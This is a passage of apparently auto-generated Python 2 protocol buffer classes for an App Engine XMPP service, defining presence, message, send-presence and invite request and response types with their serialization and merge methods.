_SHOW_NAMES = { 0: "NORMAL", 1: "AWAY", 2: "DO_NOT_DISTURB", 3: "CHAT", 4: "EXTENDED_AWAY", } def SHOW_Name(cls, x): return cls._SHOW_NAMES.get(x, "") SHOW_Name = classmethod(SHOW_Name) has_is_available_ = 0 is_available_ = 0 has_presence_ = 0 presence_ = 0 has_valid_ = 0 valid_ = 0 def __init__(self, contents=None): if contents is not None: self.MergeFromString(contents) def is_available(self): return self.is_available_ def set_is_available(self, x): self.has_is_available_ = 1 self.is_available_ = x def clear_is_available(self): if self.has_is_available_: self.has_is_available_ = 0 self.is_available_ = 0 def has_is_available(self): return self.has_is_available_ def presence(self): return self.presence_ def set_presence(self, x): self.has_presence_ = 1 self.presence_ = x def clear_presence(self): if self.has_presence_: self.has_presence_ = 0 self.presence_ = 0 def has_presence(self): return self.has_presence_ def valid(self): return self.valid_ def set_valid(self, x): self.has_valid_ = 1 self.valid_ = x def clear_valid(self): if self.has_valid_: self.has_valid_ = 0 self.valid_ = 0 def has_valid(self): return self.has_valid_ def MergeFrom(self, x): assert x is not self if (x.has_is_available()): self.set_is_available(x.is_available()) if (x.has_presence()): self.set_presence(x.presence()) if (x.has_valid()): self.set_valid(x.valid()) def Equals(self, x): if x is self: return 1 if self.has_is_available_ != x.has_is_available_: return 0 if self.has_is_available_ and self.is_available_ != x.is_available_: return 0 if self.has_presence_ != x.has_presence_: return 0 if self.has_presence_ and self.presence_ != x.presence_: return 0 if self.has_valid_ != x.has_valid_: return 0 if self.has_valid_ and self.valid_ != x.valid_: return 0 return 1 def IsInitialized(self, debug_strs=None): initialized = 1 if (not self.has_is_available_): initialized = 0 if debug_strs is not None: debug_strs.append('Required field: is_available not set.') return initialized def ByteSize(self): n = 0 if (self.has_presence_): n += 1 + self.lengthVarInt64(self.presence_) if (self.has_valid_): n += 2 return n + 2 def ByteSizePartial(self): n = 0 if (self.has_is_available_): n += 2 if (self.has_presence_): n += 1 + self.lengthVarInt64(self.presence_) if (self.has_valid_): n += 2 return n def Clear(self): self.clear_is_available() self.clear_presence() self.clear_valid() def OutputUnchecked(self, out): out.putVarInt32(8) out.putBoolean(self.is_available_) if (self.has_presence_): out.putVarInt32(16) out.putVarInt32(self.presence_) if (self.has_valid_): out.putVarInt32(24) out.putBoolean(self.valid_) def OutputPartial(self, out): if (self.has_is_available_): out.putVarInt32(8) out.putBoolean(self.is_available_) if (self.has_presence_): out.putVarInt32(16) out.putVarInt32(self.presence_) if (self.has_valid_): out.putVarInt32(24) out.putBoolean(self.valid_) def TryMerge(self, d): while d.avail() > 0: tt = d.getVarInt32() if tt == 8: self.set_is_available(d.getBoolean()) continue if tt == 16: self.set_presence(d.getVarInt32()) continue if tt == 24: self.set_valid(d.getBoolean()) continue if (tt == 0): raise ProtocolBuffer.ProtocolBufferDecodeError d.skipData(tt) def __str__(self, prefix="", printElemNumber=0): res="" if self.has_is_available_: res+=prefix+("is_available: %s\n" % self.DebugFormatBool(self.is_available_)) if self.has_presence_: res+=prefix+("presence: %s\n" % self.DebugFormatInt32(self.presence_)) if self.has_valid_: res+=prefix+("valid: %s\n" % self.DebugFormatBool(self.valid_)) return res def _BuildTagLookupTable(sparse, maxtag, default=None): return tuple([sparse.get(i, default) for i in xrange(0, 1+maxtag)]) kis_available = 1 kpresence = 2 kvalid = 3 _TEXT = _BuildTagLookupTable({ 0: "ErrorCode", 1: "is_available", 2: "presence", 3: "valid", }, 3) _TYPES = _BuildTagLookupTable({ 0: ProtocolBuffer.Encoder.NUMERIC, 1: ProtocolBuffer.Encoder.NUMERIC, 2: ProtocolBuffer.Encoder.NUMERIC, 3: ProtocolBuffer.Encoder.NUMERIC, }, 3, ProtocolBuffer.Encoder.MAX_TYPE) _STYLE = """""" _STYLE_CONTENT_TYPE = """""" _PROTO_DESCRIPTOR_NAME = 'apphosting.PresenceResponse' class BulkPresenceRequest(ProtocolBuffer.ProtocolMessage): has_from_jid_ = 0 from_jid_ = "" def __init__(self, contents=None): self.jid_ = [] if contents is not None: self.MergeFromString(contents) def jid_size(self): return len(self.jid_) def jid_list(self): return self.jid_ def jid(self, i): return self.jid_[i] def set_jid(self, i, x): self.jid_[i] = x def add_jid(self, x): self.jid_.append(x) def clear_jid(self): self.jid_ = [] def from_jid(self): return self.from_jid_ def set_from_jid(self, x): self.has_from_jid_ = 1 self.from_jid_ = x def clear_from_jid(self): if self.has_from_jid_: self.has_from_jid_ = 0 self.from_jid_ = "" def has_from_jid(self): return self.has_from_jid_ def MergeFrom(self, x): assert x is not self for i in xrange(x.jid_size()): self.add_jid(x.jid(i)) if (x.has_from_jid()): self.set_from_jid(x.from_jid()) def Equals(self, x): if x is self: return 1 if len(self.jid_) != len(x.jid_): return 0 for e1, e2 in zip(self.jid_, x.jid_): if e1 != e2: return 0 if self.has_from_jid_ != x.has_from_jid_: return 0 if self.has_from_jid_ and self.from_jid_ != x.from_jid_: return 0 return 1 def IsInitialized(self, debug_strs=None): initialized = 1 return initialized def ByteSize(self): n = 0 n += 1 * len(self.jid_) for i in xrange(len(self.jid_)): n += self.lengthString(len(self.jid_[i])) if (self.has_from_jid_): n += 1 + self.lengthString(len(self.from_jid_)) return n def ByteSizePartial(self): n = 0 n += 1 * len(self.jid_) for i in xrange(len(self.jid_)): n += self.lengthString(len(self.jid_[i])) if (self.has_from_jid_): n += 1 + self.lengthString(len(self.from_jid_)) return n def Clear(self): self.clear_jid() self.clear_from_jid() def OutputUnchecked(self, out): for i in xrange(len(self.jid_)): out.putVarInt32(10) out.putPrefixedString(self.jid_[i]) if (self.has_from_jid_): out.putVarInt32(18) out.putPrefixedString(self.from_jid_) def OutputPartial(self, out): for i in xrange(len(self.jid_)): out.putVarInt32(10) out.putPrefixedString(self.jid_[i]) if (self.has_from_jid_): out.putVarInt32(18) out.putPrefixedString(self.from_jid_) def TryMerge(self, d): while d.avail() > 0: tt = d.getVarInt32() if tt == 10: self.add_jid(d.getPrefixedString()) continue if tt == 18: self.set_from_jid(d.getPrefixedString()) continue if (tt == 0): raise ProtocolBuffer.ProtocolBufferDecodeError d.skipData(tt) def __str__(self, prefix="", printElemNumber=0): res="" cnt=0 for e in self.jid_: elm="" if printElemNumber: elm="(%d)" % cnt res+=prefix+("jid%s: %s\n" % (elm, self.DebugFormatString(e))) cnt+=1 if self.has_from_jid_: res+=prefix+("from_jid: %s\n" % self.DebugFormatString(self.from_jid_)) return res def _BuildTagLookupTable(sparse, maxtag, default=None): return tuple([sparse.get(i, default) for i in xrange(0, 1+maxtag)]) kjid = 1 kfrom_jid = 2 _TEXT = _BuildTagLookupTable({ 0: "ErrorCode", 1: "jid", 2: "from_jid", }, 2) _TYPES = _BuildTagLookupTable({ 0: ProtocolBuffer.Encoder.NUMERIC, 1: ProtocolBuffer.Encoder.STRING, 2: ProtocolBuffer.Encoder.STRING, }, 2, ProtocolBuffer.Encoder.MAX_TYPE) _STYLE = """""" _STYLE_CONTENT_TYPE = """""" _PROTO_DESCRIPTOR_NAME = 'apphosting.BulkPresenceRequest' class BulkPresenceResponse(ProtocolBuffer.ProtocolMessage): def __init__(self, contents=None): self.presence_response_ = [] if contents is not None: self.MergeFromString(contents) def presence_response_size(self): return len(self.presence_response_) def presence_response_list(self): return self.presence_response_ def presence_response(self, i): return self.presence_response_[i] def mutable_presence_response(self, i): return self.presence_response_[i] def add_presence_response(self): x = PresenceResponse() self.presence_response_.append(x) return x def clear_presence_response(self): self.presence_response_ = [] def MergeFrom(self, x): assert x is not self for i in xrange(x.presence_response_size()): self.add_presence_response().CopyFrom(x.presence_response(i)) def Equals(self, x): if x is self: return 1 if len(self.presence_response_) != len(x.presence_response_): return 0 for e1, e2 in zip(self.presence_response_, x.presence_response_): if e1 != e2: return 0 return 1 def IsInitialized(self, debug_strs=None): initialized = 1 for p in self.presence_response_: if not p.IsInitialized(debug_strs): initialized=0 return initialized def ByteSize(self): n = 0 n += 1 * len(self.presence_response_) for i in xrange(len(self.presence_response_)): n += self.lengthString(self.presence_response_[i].ByteSize()) return n def ByteSizePartial(self): n = 0 n += 1 * len(self.presence_response_) for i in xrange(len(self.presence_response_)): n += self.lengthString(self.presence_response_[i].ByteSizePartial()) return n def Clear(self): self.clear_presence_response() def OutputUnchecked(self, out): for i in xrange(len(self.presence_response_)): out.putVarInt32(10) out.putVarInt32(self.presence_response_[i].ByteSize()) self.presence_response_[i].OutputUnchecked(out) def OutputPartial(self, out): for i in xrange(len(self.presence_response_)): out.putVarInt32(10) out.putVarInt32(self.presence_response_[i].ByteSizePartial()) self.presence_response_[i].OutputPartial(out) def TryMerge(self, d): while d.avail() > 0: tt = d.getVarInt32() if tt == 10: length = d.getVarInt32() tmp = ProtocolBuffer.Decoder(d.buffer(), d.pos(), d.pos() + length) d.skip(length) self.add_presence_response().TryMerge(tmp) continue if (tt == 0): raise ProtocolBuffer.ProtocolBufferDecodeError d.skipData(tt) def __str__(self, prefix="", printElemNumber=0): res="" cnt=0 for e in self.presence_response_: elm="" if printElemNumber: elm="(%d)" % cnt res+=prefix+("presence_response%s <\n" % elm) res+=e.__str__(prefix + " ", printElemNumber) res+=prefix+">\n" cnt+=1 return res def _BuildTagLookupTable(sparse, maxtag, default=None): return tuple([sparse.get(i, default) for i in xrange(0, 1+maxtag)]) kpresence_response = 1 _TEXT = _BuildTagLookupTable({ 0: "ErrorCode", 1: "presence_response", }, 1) _TYPES = _BuildTagLookupTable({ 0: ProtocolBuffer.Encoder.NUMERIC, 1: ProtocolBuffer.Encoder.STRING, }, 1, ProtocolBuffer.Encoder.MAX_TYPE) _STYLE = """""" _STYLE_CONTENT_TYPE = """""" _PROTO_DESCRIPTOR_NAME = 'apphosting.BulkPresenceResponse' class XmppMessageRequest(ProtocolBuffer.ProtocolMessage): has_body_ = 0 body_ = "" has_raw_xml_ = 0 raw_xml_ = 0 has_type_ = 0 type_ = "chat" has_from_jid_ = 0 from_jid_ = "" def __init__(self, contents=None): self.jid_ = [] if contents is not None: self.MergeFromString(contents) def jid_size(self): return len(self.jid_) def jid_list(self): return self.jid_ def jid(self, i): return self.jid_[i] def set_jid(self, i, x): self.jid_[i] = x def add_jid(self, x): self.jid_.append(x) def clear_jid(self): self.jid_ = [] def body(self): return self.body_ def set_body(self, x): self.has_body_ = 1 self.body_ = x def clear_body(self): if self.has_body_: self.has_body_ = 0 self.body_ = "" def has_body(self): return self.has_body_ def raw_xml(self): return self.raw_xml_ def set_raw_xml(self, x): self.has_raw_xml_ = 1 self.raw_xml_ = x def clear_raw_xml(self): if self.has_raw_xml_: self.has_raw_xml_ = 0 self.raw_xml_ = 0 def has_raw_xml(self): return self.has_raw_xml_ def type(self): return self.type_ def set_type(self, x): self.has_type_ = 1 self.type_ = x def clear_type(self): if self.has_type_: self.has_type_ = 0 self.type_ = "chat" def has_type(self): return self.has_type_ def from_jid(self): return self.from_jid_ def set_from_jid(self, x): self.has_from_jid_ = 1 self.from_jid_ = x def clear_from_jid(self): if self.has_from_jid_: self.has_from_jid_ = 0 self.from_jid_ = "" def has_from_jid(self): return self.has_from_jid_ def MergeFrom(self, x): assert x is not self for i in xrange(x.jid_size()): self.add_jid(x.jid(i)) if (x.has_body()): self.set_body(x.body()) if (x.has_raw_xml()): self.set_raw_xml(x.raw_xml()) if (x.has_type()): self.set_type(x.type()) if (x.has_from_jid()): self.set_from_jid(x.from_jid()) def Equals(self, x): if x is self: return 1 if len(self.jid_) != len(x.jid_): return 0 for e1, e2 in zip(self.jid_, x.jid_): if e1 != e2: return 0 if self.has_body_ != x.has_body_: return 0 if self.has_body_ and self.body_ != x.body_: return 0 if self.has_raw_xml_ != x.has_raw_xml_: return 0 if self.has_raw_xml_ and self.raw_xml_ != x.raw_xml_: return 0 if self.has_type_ != x.has_type_: return 0 if self.has_type_ and self.type_ != x.type_: return 0 if self.has_from_jid_ != x.has_from_jid_: return 0 if self.has_from_jid_ and self.from_jid_ != x.from_jid_: return 0 return 1 def IsInitialized(self, debug_strs=None): initialized = 1 if (not self.has_body_): initialized = 0 if debug_strs is not None: debug_strs.append('Required field: body not set.') return initialized def ByteSize(self): n = 0 n += 1 * len(self.jid_) for i in xrange(len(self.jid_)): n += self.lengthString(len(self.jid_[i])) n += self.lengthString(len(self.body_)) if (self.has_raw_xml_): n += 2 if (self.has_type_): n += 1 + self.lengthString(len(self.type_)) if (self.has_from_jid_): n += 1 + self.lengthString(len(self.from_jid_)) return n + 1 def ByteSizePartial(self): n = 0 n += 1 * len(self.jid_) for i in xrange(len(self.jid_)): n += self.lengthString(len(self.jid_[i])) if (self.has_body_): n += 1 n += self.lengthString(len(self.body_)) if (self.has_raw_xml_): n += 2 if (self.has_type_): n += 1 + self.lengthString(len(self.type_)) if (self.has_from_jid_): n += 1 + self.lengthString(len(self.from_jid_)) return n def Clear(self): self.clear_jid() self.clear_body() self.clear_raw_xml() self.clear_type() self.clear_from_jid() def OutputUnchecked(self, out): for i in xrange(len(self.jid_)): out.putVarInt32(10) out.putPrefixedString(self.jid_[i]) out.putVarInt32(18) out.putPrefixedString(self.body_) if (self.has_raw_xml_): out.putVarInt32(24) out.putBoolean(self.raw_xml_) if (self.has_type_): out.putVarInt32(34) out.putPrefixedString(self.type_) if (self.has_from_jid_): out.putVarInt32(42) out.putPrefixedString(self.from_jid_) def OutputPartial(self, out): for i in xrange(len(self.jid_)): out.putVarInt32(10) out.putPrefixedString(self.jid_[i]) if (self.has_body_): out.putVarInt32(18) out.putPrefixedString(self.body_) if (self.has_raw_xml_): out.putVarInt32(24) out.putBoolean(self.raw_xml_) if (self.has_type_): out.putVarInt32(34) out.putPrefixedString(self.type_) if (self.has_from_jid_): out.putVarInt32(42) out.putPrefixedString(self.from_jid_) def TryMerge(self, d): while d.avail() > 0: tt = d.getVarInt32() if tt == 10: self.add_jid(d.getPrefixedString()) continue if tt == 18: self.set_body(d.getPrefixedString()) continue if tt == 24: self.set_raw_xml(d.getBoolean()) continue if tt == 34: self.set_type(d.getPrefixedString()) continue if tt == 42: self.set_from_jid(d.getPrefixedString()) continue if (tt == 0): raise ProtocolBuffer.ProtocolBufferDecodeError d.skipData(tt) def __str__(self, prefix="", printElemNumber=0): res="" cnt=0 for e in self.jid_: elm="" if printElemNumber: elm="(%d)" % cnt res+=prefix+("jid%s: %s\n" % (elm, self.DebugFormatString(e))) cnt+=1 if self.has_body_: res+=prefix+("body: %s\n" % self.DebugFormatString(self.body_)) if self.has_raw_xml_: res+=prefix+("raw_xml: %s\n" % self.DebugFormatBool(self.raw_xml_)) if self.has_type_: res+=prefix+("type: %s\n" % self.DebugFormatString(self.type_)) if self.has_from_jid_: res+=prefix+("from_jid: %s\n" % self.DebugFormatString(self.from_jid_)) return res def _BuildTagLookupTable(sparse, maxtag, default=None): return tuple([sparse.get(i, default) for i in xrange(0, 1+maxtag)]) kjid = 1 kbody = 2 kraw_xml = 3 ktype = 4 kfrom_jid = 5 _TEXT = _BuildTagLookupTable({ 0: "ErrorCode", 1: "jid", 2: "body", 3: "raw_xml", 4: "type", 5: "from_jid", }, 5) _TYPES = _BuildTagLookupTable({ 0: ProtocolBuffer.Encoder.NUMERIC, 1: ProtocolBuffer.Encoder.STRING, 2: ProtocolBuffer.Encoder.STRING, 3: ProtocolBuffer.Encoder.NUMERIC, 4: ProtocolBuffer.Encoder.STRING, 5: ProtocolBuffer.Encoder.STRING, }, 5, ProtocolBuffer.Encoder.MAX_TYPE) _STYLE = """""" _STYLE_CONTENT_TYPE = """""" _PROTO_DESCRIPTOR_NAME = 'apphosting.XmppMessageRequest' class XmppMessageResponse(ProtocolBuffer.ProtocolMessage): NO_ERROR = 0 INVALID_JID = 1 OTHER_ERROR = 2 _XmppMessageStatus_NAMES = { 0: "NO_ERROR", 1: "INVALID_JID", 2: "OTHER_ERROR", } def XmppMessageStatus_Name(cls, x): return cls._XmppMessageStatus_NAMES.get(x, "") XmppMessageStatus_Name = classmethod(XmppMessageStatus_Name) def __init__(self, contents=None): self.status_ = [] if contents is not None: self.MergeFromString(contents) def status_size(self): return len(self.status_) def status_list(self): return self.status_ def status(self, i): return self.status_[i] def set_status(self, i, x): self.status_[i] = x def add_status(self, x): self.status_.append(x) def clear_status(self): self.status_ = [] def MergeFrom(self, x): assert x is not self for i in xrange(x.status_size()): self.add_status(x.status(i)) def Equals(self, x): if x is self: return 1 if len(self.status_) != len(x.status_): return 0 for e1, e2 in zip(self.status_, x.status_): if e1 != e2: return 0 return 1 def IsInitialized(self, debug_strs=None): initialized = 1 return initialized def ByteSize(self): n = 0 n += 1 * len(self.status_) for i in xrange(len(self.status_)): n += self.lengthVarInt64(self.status_[i]) return n def ByteSizePartial(self): n = 0 n += 1 * len(self.status_) for i in xrange(len(self.status_)): n += self.lengthVarInt64(self.status_[i]) return n def Clear(self): self.clear_status() def OutputUnchecked(self, out): for i in xrange(len(self.status_)): out.putVarInt32(8) out.putVarInt32(self.status_[i]) def OutputPartial(self, out): for i in xrange(len(self.status_)): out.putVarInt32(8) out.putVarInt32(self.status_[i]) def TryMerge(self, d): while d.avail() > 0: tt = d.getVarInt32() if tt == 8: self.add_status(d.getVarInt32()) continue if (tt == 0): raise ProtocolBuffer.ProtocolBufferDecodeError d.skipData(tt) def __str__(self, prefix="", printElemNumber=0): res="" cnt=0 for e in self.status_: elm="" if printElemNumber: elm="(%d)" % cnt res+=prefix+("status%s: %s\n" % (elm, self.DebugFormatInt32(e))) cnt+=1 return res def _BuildTagLookupTable(sparse, maxtag, default=None): return tuple([sparse.get(i, default) for i in xrange(0, 1+maxtag)]) kstatus = 1 _TEXT = _BuildTagLookupTable({ 0: "ErrorCode", 1: "status", }, 1) _TYPES = _BuildTagLookupTable({ 0: ProtocolBuffer.Encoder.NUMERIC, 1: ProtocolBuffer.Encoder.NUMERIC, }, 1, ProtocolBuffer.Encoder.MAX_TYPE) _STYLE = """""" _STYLE_CONTENT_TYPE = """""" _PROTO_DESCRIPTOR_NAME = 'apphosting.XmppMessageResponse' class XmppSendPresenceRequest(ProtocolBuffer.ProtocolMessage): has_jid_ = 0 jid_ = "" has_type_ = 0 type_ = "" has_show_ = 0 show_ = "" has_status_ = 0 status_ = "" has_from_jid_ = 0 from_jid_ = "" def __init__(self, contents=None): if contents is not None: self.MergeFromString(contents) def jid(self): return self.jid_ def set_jid(self, x): self.has_jid_ = 1 self.jid_ = x def clear_jid(self): if self.has_jid_: self.has_jid_ = 0 self.jid_ = "" def has_jid(self): return self.has_jid_ def type(self): return self.type_ def set_type(self, x): self.has_type_ = 1 self.type_ = x def clear_type(self): if self.has_type_: self.has_type_ = 0 self.type_ = "" def has_type(self): return self.has_type_ def show(self): return self.show_ def set_show(self, x): self.has_show_ = 1 self.show_ = x def clear_show(self): if self.has_show_: self.has_show_ = 0 self.show_ = "" def has_show(self): return self.has_show_ def status(self): return self.status_ def set_status(self, x): self.has_status_ = 1 self.status_ = x def clear_status(self): if self.has_status_: self.has_status_ = 0 self.status_ = "" def has_status(self): return self.has_status_ def from_jid(self): return self.from_jid_ def set_from_jid(self, x): self.has_from_jid_ = 1 self.from_jid_ = x def clear_from_jid(self): if self.has_from_jid_: self.has_from_jid_ = 0 self.from_jid_ = "" def has_from_jid(self): return self.has_from_jid_ def MergeFrom(self, x): assert x is not self if (x.has_jid()): self.set_jid(x.jid()) if (x.has_type()): self.set_type(x.type()) if (x.has_show()): self.set_show(x.show()) if (x.has_status()): self.set_status(x.status()) if (x.has_from_jid()): self.set_from_jid(x.from_jid()) def Equals(self, x): if x is self: return 1 if self.has_jid_ != x.has_jid_: return 0 if self.has_jid_ and self.jid_ != x.jid_: return 0 if self.has_type_ != x.has_type_: return 0 if self.has_type_ and self.type_ != x.type_: return 0 if self.has_show_ != x.has_show_: return 0 if self.has_show_ and self.show_ != x.show_: return 0 if self.has_status_ != x.has_status_: return 0 if self.has_status_ and self.status_ != x.status_: return 0 if self.has_from_jid_ != x.has_from_jid_: return 0 if self.has_from_jid_ and self.from_jid_ != x.from_jid_: return 0 return 1 def IsInitialized(self, debug_strs=None): initialized = 1 if (not self.has_jid_): initialized = 0 if debug_strs is not None: debug_strs.append('Required field: jid not set.') return initialized def ByteSize(self): n = 0 n += self.lengthString(len(self.jid_)) if (self.has_type_): n += 1 + self.lengthString(len(self.type_)) if (self.has_show_): n += 1 + self.lengthString(len(self.show_)) if (self.has_status_): n += 1 + self.lengthString(len(self.status_)) if (self.has_from_jid_): n += 1 + self.lengthString(len(self.from_jid_)) return n + 1 def ByteSizePartial(self): n = 0 if (self.has_jid_): n += 1 n += self.lengthString(len(self.jid_)) if (self.has_type_): n += 1 + self.lengthString(len(self.type_)) if (self.has_show_): n += 1 + self.lengthString(len(self.show_)) if (self.has_status_): n += 1 + self.lengthString(len(self.status_)) if (self.has_from_jid_): n += 1 + self.lengthString(len(self.from_jid_)) return n def Clear(self): self.clear_jid() self.clear_type() self.clear_show() self.clear_status() self.clear_from_jid() def OutputUnchecked(self, out): out.putVarInt32(10) out.putPrefixedString(self.jid_) if (self.has_type_): out.putVarInt32(18) out.putPrefixedString(self.type_) if (self.has_show_): out.putVarInt32(26) out.putPrefixedString(self.show_) if (self.has_status_): out.putVarInt32(34) out.putPrefixedString(self.status_) if (self.has_from_jid_): out.putVarInt32(42) out.putPrefixedString(self.from_jid_) def OutputPartial(self, out): if (self.has_jid_): out.putVarInt32(10) out.putPrefixedString(self.jid_) if (self.has_type_): out.putVarInt32(18) out.putPrefixedString(self.type_) if (self.has_show_): out.putVarInt32(26) out.putPrefixedString(self.show_) if (self.has_status_): out.putVarInt32(34) out.putPrefixedString(self.status_) if (self.has_from_jid_): out.putVarInt32(42) out.putPrefixedString(self.from_jid_) def TryMerge(self, d): while d.avail() > 0: tt = d.getVarInt32() if tt == 10: self.set_jid(d.getPrefixedString()) continue if tt == 18: self.set_type(d.getPrefixedString()) continue if tt == 26: self.set_show(d.getPrefixedString()) continue if tt == 34: self.set_status(d.getPrefixedString()) continue if tt == 42: self.set_from_jid(d.getPrefixedString()) continue if (tt == 0): raise ProtocolBuffer.ProtocolBufferDecodeError d.skipData(tt) def __str__(self, prefix="", printElemNumber=0): res="" if self.has_jid_: res+=prefix+("jid: %s\n" % self.DebugFormatString(self.jid_)) if self.has_type_: res+=prefix+("type: %s\n" % self.DebugFormatString(self.type_)) if self.has_show_: res+=prefix+("show: %s\n" % self.DebugFormatString(self.show_)) if self.has_status_: res+=prefix+("status: %s\n" % self.DebugFormatString(self.status_)) if self.has_from_jid_: res+=prefix+("from_jid: %s\n" % self.DebugFormatString(self.from_jid_)) return res def _BuildTagLookupTable(sparse, maxtag, default=None): return tuple([sparse.get(i, default) for i in xrange(0, 1+maxtag)]) kjid = 1 ktype = 2 kshow = 3 kstatus = 4 kfrom_jid = 5 _TEXT = _BuildTagLookupTable({ 0: "ErrorCode", 1: "jid", 2: "type", 3: "show", 4: "status", 5: "from_jid", }, 5) _TYPES = _BuildTagLookupTable({ 0: ProtocolBuffer.Encoder.NUMERIC, 1: ProtocolBuffer.Encoder.STRING, 2: ProtocolBuffer.Encoder.STRING, 3: ProtocolBuffer.Encoder.STRING, 4: ProtocolBuffer.Encoder.STRING, 5: ProtocolBuffer.Encoder.STRING, }, 5, ProtocolBuffer.Encoder.MAX_TYPE) _STYLE = """""" _STYLE_CONTENT_TYPE = """""" _PROTO_DESCRIPTOR_NAME = 'apphosting.XmppSendPresenceRequest' class XmppSendPresenceResponse(ProtocolBuffer.ProtocolMessage): def __init__(self, contents=None): pass if contents is not None: self.MergeFromString(contents) def MergeFrom(self, x): assert x is not self def Equals(self, x): if x is self: return 1 return 1 def IsInitialized(self, debug_strs=None): initialized = 1 return initialized def ByteSize(self): n = 0 return n def ByteSizePartial(self): n = 0 return n def Clear(self): pass def OutputUnchecked(self, out): pass def OutputPartial(self, out): pass def TryMerge(self, d): while d.avail() > 0: tt = d.getVarInt32() if (tt == 0): raise ProtocolBuffer.ProtocolBufferDecodeError d.skipData(tt) def __str__(self, prefix="", printElemNumber=0): res="" return res def _BuildTagLookupTable(sparse, maxtag, default=None): return tuple([sparse.get(i, default) for i in xrange(0, 1+maxtag)]) _TEXT = _BuildTagLookupTable({ 0: "ErrorCode", }, 0) _TYPES = _BuildTagLookupTable({ 0: ProtocolBuffer.Encoder.NUMERIC, }, 0, ProtocolBuffer.Encoder.MAX_TYPE) _STYLE = """""" _STYLE_CONTENT_TYPE = """""" _PROTO_DESCRIPTOR_NAME = 'apphosting.XmppSendPresenceResponse' class XmppInviteRequest(ProtocolBuffer.ProtocolMessage): has_jid_ = 0 jid_ = "" has_from_jid_ = 0 from_jid_ = "" def __init__(self, contents=None): if contents is not None: self.MergeFromString(contents) def jid(self): return self.jid_ def set_jid(self, x): self.has_jid_ = 1 self.jid_ = x def clear_jid(self): if self.has_jid_: self.has_jid_ = 0 self.jid_ = "" def has_jid(self): return self.has_jid_ def from_jid(self): return self.from_jid_ def set_from_jid(self, x): self.has_from_jid_ = 1 self.from_jid_ = x def clear_from_jid(self): if self.has_from_jid_: self.has_from_jid_ = 0 self.from_jid_ = "" def has_from_jid(self): return self.has_from_jid_ def MergeFrom(self, x): assert x is not self if (x.has_jid()): self.set_jid(x.jid()) if (x.has_from_jid()): self.set_from_jid(x.from_jid()) def Equals(self, x): if x is self: return 1 if self.has_jid_ != x.has_jid_: return 0 if self.has_jid_ and self.jid_ != x.jid_: return 0 if self.has_from_jid_ != x.has_from_jid_: return 0 if self.has_from_jid_ and self.from_jid_ != x.from_jid_: return 0 return 1 def IsInitialized(self, debug_strs=None): initialized = 1 if (not self.has_jid_): initialized = 0 if debug_strs is not None: debug_strs.append('Required field: jid not set.') return initialized def ByteSize(self): n = 0 n += self.lengthString(len(self.jid_)) if (self.has_from_jid_): n += 1 + self.lengthString(len(self.from_jid_)) return n + 1 def ByteSizePartial(self): n = 0 if (self.has_jid_): n += 1 n += self.lengthString(len(self.jid_)) if (self.has_from_jid_): n += 1 + self.lengthString(len(self.from_jid_)) return n def Clear(self): self.clear_jid() self.clear_from_jid() def OutputUnchecked(self, out): out.putVarInt32(10) out.putPrefixedString(self.jid_) if (self.has_from_jid_): out.putVarInt32(18) out.putPrefixedString(self.from_jid_) def OutputPartial(self, out): if (self.has_jid_): out.putVarInt32(10) out.putPrefixedString(self.jid_) if (self.has_from_jid_): out.putVarInt32(18) out.putPrefixedString(self.from_jid_) def TryMerge(self, d): while d.avail() > 0: tt = d.getVarInt32() if tt == 10: self.set_jid(d.getPrefixedString()) continue if tt == 18: self.set_from_jid(d.getPrefixedString()) continue if (tt == 0): raise ProtocolBuffer.ProtocolBufferDecodeError d.skipData(tt) def __str__(self, prefix="", printElemNumber=0): res="" if self.has_jid_: res+=prefix+("jid: %s\n" % self.DebugFormatString(self.jid_)) if self.has_from_jid_: res+=prefix+("from_jid: %s\n" % self.DebugFormatString(self.from_jid_)) return res def _BuildTagLookupTable(sparse, maxtag, default=None): return tuple([sparse.get(i, default) for i in xrange(0, 1+maxtag)]) kjid = 1 kfrom_jid = 2 _TEXT = _BuildTagLookupTable({ 0: "ErrorCode", 1: "jid", 2: "from_jid", }, 2) _TYPES = _BuildTagLookupTable({ 0: ProtocolBuffer.Encoder.NUMERIC, 1: ProtocolBuffer.Encoder.STRING, 2: ProtocolBuffer.Encoder.STRING, }, 2, ProtocolBuffer.Encoder.MAX_TYPE) _STYLE = """""" _STYLE_CONTENT_TYPE = """""" _PROTO_DESCRIPTOR_NAME = 'apphosting.XmppInviteRequest' class XmppInviteResponse(ProtocolBuffer.ProtocolMessage): def __init__(self, contents=None): pass if contents is not None: self.MergeFromString(contents) def MergeFrom(self, x): assert x is not self def Equals(self, x): if x is self: return 1 return 1 def IsInitialized(self, debug_strs=None): initialized = 1 return initialized def ByteSize(self): n = 0 return n def ByteSizePartial(self): n = 0 return n def Clear(self): pass def OutputUnchecked(self, out): pass def OutputPartial(self, out): pass def TryMerge(self, d): while d.avail() > 0: tt = d.getVarInt32() if (tt == 0): raise ProtocolBuffer.ProtocolBufferDecodeError d.skipData(tt) def __str__(self, prefix="", printElemNumber=0): res="" return res def _BuildTagLookupTable(sparse, maxtag, default=None): return tuple([sparse.get(i, default) for i in xrange(0, 1+maxtag)]) _TEXT = _BuildTagLookupTable({ 0: "ErrorCode", }, 0) _TYPES = _BuildTagLookupTable({ 0: ProtocolBuffer.Encoder.NUMERIC, }, 0, ProtocolBuffer.Encoder.MAX_TYPE) _STYLE = """""" _STYLE_CONTENT_TYPE = """""" _PROTO_DESCRIPTOR_NAME = 'apphosting.XmppInviteResponse' if _extension_runtime: pass __all__ = ['XmppServiceError','PresenceRequest','PresenceResponse','BulkPresenceRequest','BulkPresenceResponse','XmppMessageRequest','XmppMessageResponse','XmppSendPresenceRequest','XmppSendPresenceResponse','XmppInviteRequest','XmppInviteResponse']
bsd-2-clause
